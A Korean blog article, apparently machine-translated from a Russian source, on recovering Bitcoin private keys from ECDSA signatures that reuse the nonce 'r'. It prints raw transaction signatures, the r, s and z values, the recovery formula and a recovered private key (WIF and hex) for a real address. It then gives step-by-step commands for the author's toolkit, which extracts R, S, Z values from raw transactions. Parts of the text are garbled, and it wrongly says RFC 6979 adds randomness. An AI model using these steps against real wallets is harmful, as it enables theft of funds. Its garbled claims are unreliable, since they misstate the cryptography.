이 글에서는 비트코인 블록체인에서 서명 값을 추출하는 것에 대해 이야기할 것입니다 . 하지만 먼저 Niels Schneider ( 일명 tcatm )ECDSA R, S, Z
가 발견한 블록체인 거래의 아주 첫 번째 심각한 취약점을 기억해 보겠습니다. Nils Schneider
비트코인 개발자이자 “BitcoinWatch” 와 “BitcoinCharts”의 소유자입니다.

문서
[PDF]
: 개인 키 복구 조합 공격: RNG 이벤트가 부족한 상황에서 인기 있는 비트코인 키 관리, 지갑 및 콜드 스토리지 솔루션의 극심한 취약성에 관하여
2012년 12월 25일, 닐스는 일부 비트코인 블록체인 거래에서 잠재적인 취약점을 발견했습니다.
이 거래를 살펴보세요:
transaction:
9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
이 거래에는 두 개의 입력과 하나의 출력이 있습니다.
두 개의 입력 스크립트를 자세히 살펴보면 시작과 끝에 꽤 많은 동일한 바이트가 있음을 알 수 있습니다.
끝의 바이트는 코인이 사용되는 주소의 16진수 인코딩된 공개 키이므로 아무런 문제가 없습니다.
그러나 스크립트의 전반부는 실제 서명입니다 (r, s)
.
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
보시다시피,
r1
똑같아요r2
. 이건 큰 문제 예요 .
개인 키를 이 공개 키로 복원할 수 있습니다 .
04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
이를 위해 우리는 학교 대수학에서 나오는 간단한 공식을 사용할 수 있습니다.
private key = (z1*s2 - z2*s1)/(r*(s1-s2))
우리는 찾아야만 z1
합니다 z2
хэши
서명해야 할 출력은 다음과 같습니다 . 출력 거래를 가져와서 계산해 보겠습니다( 로 계산 OP_CHECKSIG
):
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
다음으로, 우리는 이 모든 값을 하나의 Python 스크립트 로 묶습니다 . vulnerabilityR.py

p
G
는 비트코인이 사용하는 곡선의 매개변수 일 뿐입니다 secp256k1
.
계산을 위한 필드를 만들어 보겠습니다.
K = GF(p)
K((z1*s2 - z2*s1)/(r*(s1-s2)))
스크립트를 실행해 보겠습니다. python3 vulnerabilityR.py
다음으로, 우리의 스크립트: vulnerabilityR.py는 이 필드의 개인 키를 계산할 것입니다 :
ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
bitaddress를 열어 확인해 보겠습니다.

개인키를 찾았습니다!

물론, 비트코인 개발자는 결정론적 함수를 도입하여 이러한 취약점을 해결했습니다.
이 기능은
RFC 6979
비트코인 서명에 무작위성 요소를 도입하여 거래의 암호화 강도를 강화합니다.ECDSA
문서 [PDF]
: RFC 6979: 디지털 서명 알고리즘(DSA) 및 타원 곡선 디지털 서명 알고리즘(ECDSA)의 결정적 사용
우리가 실제로 알고 있듯이 비트코인 블록체인에는 완전히 다른 취약한 거래가 존재합니다.
우리는 이전에 “비트코인 블록체인의 ECDSA에서 한 건의 약한 거래가 있었고 Lattice Attack의 도움으로 우리는 BTC 코인에 대한 개인 키를 받았습니다”라는
статью
글을 올렸 습니다.

이제 01BlockchainGoogleDrive 에서 얻은 “RawTX.json” 파일 에서 공개 키 Bitcoin
ECDSA
와 값을 가져와 보겠습니다 .R, S, Z
- 이를 위해 Google Colab용 터미널 [ TerminalGoogleColab] 을 사용하세요.
- 이전에 저는 “GITHUB에서 작업하기 위한 모든 편의를 제공하는 Google Colab의 TERMINAL” 이라는 비디오를 녹화했습니다.
- 자세한 암호 분석을 위해 “CryptoDeepTools” 저장소를 살펴보고 Bash 스크립트가 작동하는 방식을 자세히 살펴보겠습니다 . getsign.sh
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/02BreakECDSAcryptography/
sudo apt install python2-minimal
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
chmod +x getsign.sh
./getsign.sh
팀


이제 Bash 스크립트 의 전체 작업을 자세히 살펴보겠습니다 : getsign.sh
cat RawTX.json > index.json
파일의 복사본을 RawTX.json
새 파일에 만들기index.json
for run in {1..4}; do
우리는 파일에서 4줄을 가져오기 때문에 그것을 엽니다.ЦИКЛ
index.json
{1..4}
export LINE=1 ; sed -n "${LINE}p" index.json > index2.json
유틸리티는 라인 #1을export
가져와 새 파일에 저장합니다. index2.json
sed -i '1d' index.json
이 유틸리티는 파일에서 줄 #1을 sed
제거합니다 .index.json

python3 fileopen.py
Python 스크립트를 실행하고 fileopen.py
성공적으로 새로운 Bash 스크립트를 생성합니다 . signscript.sh
chmod +x signscript.sh
./signscript.sh
우리는 Bash 스크립트인 signscript.sh 에 대한 권한을 얻습니다 .
결과적으로 breakECDSA.py Python 스크립트가 시작되어 결국 Bitcoin의 값과 공개 키를 추출합니다.
RawTX
R, S, Z
이 모든 내용은 파일에 저장됩니다.
"signatures.json"

rm signscript.sh
rm fileopen.py
이 유틸리티는 Python 스크립트를rm
제거하고 새로운 Bash 스크립트를 성공적으로 생성합니다 . fileopen.py
signscript.sh
done
결과적으로 모든 것은 4주기 후에 끝날 것입니다.
rm index.json
사이클이 닫히고 유틸리티가 rm
삭제됩니다. index.json
Bash 스크립트 : getsign.sh Завершает работу!
이제 우리는 다음을 배웠습니다.
- 공개 키를 가져
Bitcoin
옵니다ECDSA
- 가치를 얻으
R, S, Z
세요ECDSA
- 이것을 적용하세요
криптоанализа
소스 코드: https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography
텔레그램: https://t.me/cryptodeeptech
비디오: https://youtu.be/BYd-cuFRZmM
출처: https://cryptodeeptech.ru/break-ecdsa-cryptography